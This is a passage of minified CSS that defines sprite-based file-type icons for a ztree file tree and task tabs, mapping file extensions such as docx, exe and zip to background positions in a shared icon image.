!important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.ztree li span.tree_icon .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.ztree li span.tree_icon .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.ztree li span.tree_icon .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.ztree li span.tree_icon .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.ztree li span.tree_icon .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.ztree li span.tree_icon .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.ztree li span.tree_icon .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.ztree li span.tree_icon .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.ztree li span.tree_icon .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.ztree li span.tree_icon .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.ztree li span.tree_icon .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.ztree li span.tree_icon .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.ztree li span.tree_icon .x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.ztree li span.tree_icon .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.ztree li span.tree_icon .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.ztree li span.tree_icon .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.ztree li span.tree_icon .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.ztree li span.tree_icon .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.ztree li span.tree_icon .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.ztree li span.tree_icon .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.ztree li span.tree_icon .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.ztree li span.tree_icon .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.ztree li span.tree_icon .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.ztree li span.tree_icon .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.ztree li span.tree_icon .x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.ztree li span.tree_icon .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.ztree li span.tree_icon .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.ztree li span.tree_icon .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.ztree li span.tree_icon .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.ztree li span.tree_icon .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.ztree li span.tree_icon .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.ztree li span.tree_icon .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.ztree li span.tree_icon .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.ztree li span.tree_icon .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.ztree li span.tree_icon .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.ztree li span.tree_icon .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.ztree li span.tree_icon .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.ztree li span.tree_icon .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.ztree li span.tree_icon .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.ztree li span.tree_icon .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.ztree li span.tree_icon .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.ztree li span.tree_icon .x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.ztree li span.tree_icon .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.ztree li span.tree_icon .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.ztree li span.tree_icon .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.ztree li span.tree_icon .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.ztree li span.tree_icon .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.ztree li span.tree_icon .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.ztree li span.tree_icon .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.ztree li span.tree_icon .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.ztree li span.tree_icon .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.ztree li span.tree_icon .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.ztree li span.tree_icon .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.ztree li span.tree_icon .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.ztree li span.tree_icon .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.ztree li span.tree_icon .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.ztree li span.tree_icon .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.ztree li span.tree_icon .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.ztree li span.tree_icon .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.ztree li span.tree_icon .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.ztree li span.tree_icon .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.ztree li span.tree_icon .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.ztree li span.tree_icon .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.ztree li span.tree_icon .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.ztree li span.tree_icon .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.ztree li span.tree_icon .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.ztree li span.tree_icon .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.ztree li span.tree_icon .x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.ztree li span.tree_icon .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.ztree li span.tree_icon .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.ztree li span.tree_icon .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.ztree li span.tree_icon .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.ztree li span.tree_icon .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.ztree li span.tree_icon .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.ztree li span.tree_icon .x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.ztree li span.tree_icon .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.ztree li span.tree_icon .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.ztree li span.tree_icon .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.ztree li span.tree_icon .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.ztree li span.tree_icon .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.ztree li span.tree_icon .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.ztree li span.tree_icon .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.ztree li span.tree_icon .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.ztree li span.tree_icon .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.ztree li span.tree_icon .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.ztree li span.tree_icon .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.ztree li span.tree_icon .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.ztree li span.tree_icon .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.ztree li span.tree_icon .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.ztree li span.tree_icon .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.ztree li span.tree_icon .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.ztree li span.tree_icon .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.ztree li span.tree_icon .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.ztree li span.tree_icon .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.ztree li span.tree_icon .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.ztree li span.tree_icon .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.ztree li span.tree_icon .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.ztree li span.tree_icon .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.ztree li span.tree_icon .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.ztree li span.tree_icon .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.ztree li span.tree_icon .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.ztree li span.tree_icon .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.ztree li span.tree_icon .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.ztree li span.tree_icon .x-item-file.x-txt,.ztree li span.tree_icon .x-item-file.x-textile,.ztree li span.tree_icon .x-item-file.x-inc,.ztree li span.tree_icon .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.task-tab .tabs .tab .x-item-file.x-7z,.task-tab .tabs .tab img.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.task-tab .tabs .tab .x-item-file.x-bz2,.task-tab .tabs .tab img.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.task-tab .tabs .tab .x-item-file.x-dmg,.task-tab .tabs .tab img.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.task-tab .tabs .tab .x-item-file.x-gz,.task-tab .tabs .tab img.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.task-tab .tabs .tab .x-item-file.x-iso,.task-tab .tabs .tab img.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.task-tab .tabs .tab .x-item-file.x-jar,.task-tab .tabs .tab img.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.task-tab .tabs .tab .x-item-file.x-pkg,.task-tab .tabs .tab img.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.task-tab .tabs .tab .x-item-file.x-rar,.task-tab .tabs .tab img.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.task-tab .tabs .tab .x-item-file.x-sitx,.task-tab .tabs .tab img.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.task-tab .tabs .tab .x-item-file.x-tar,.task-tab .tabs .tab img.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.task-tab .tabs .tab .x-item-file.x-zip,.task-tab .tabs .tab img.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.task-tab .tabs .tab .x-item-file.x-aac,.task-tab .tabs .tab img.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.task-tab .tabs .tab .x-item-file.x-m4a,.task-tab .tabs .tab img.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.task-tab .tabs .tab .x-item-file.x-midi,.task-tab .tabs .tab img.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.task-tab .tabs .tab .x-item-file.x-mp3,.task-tab .tabs .tab img.x-mp3{position:relative;width:16px 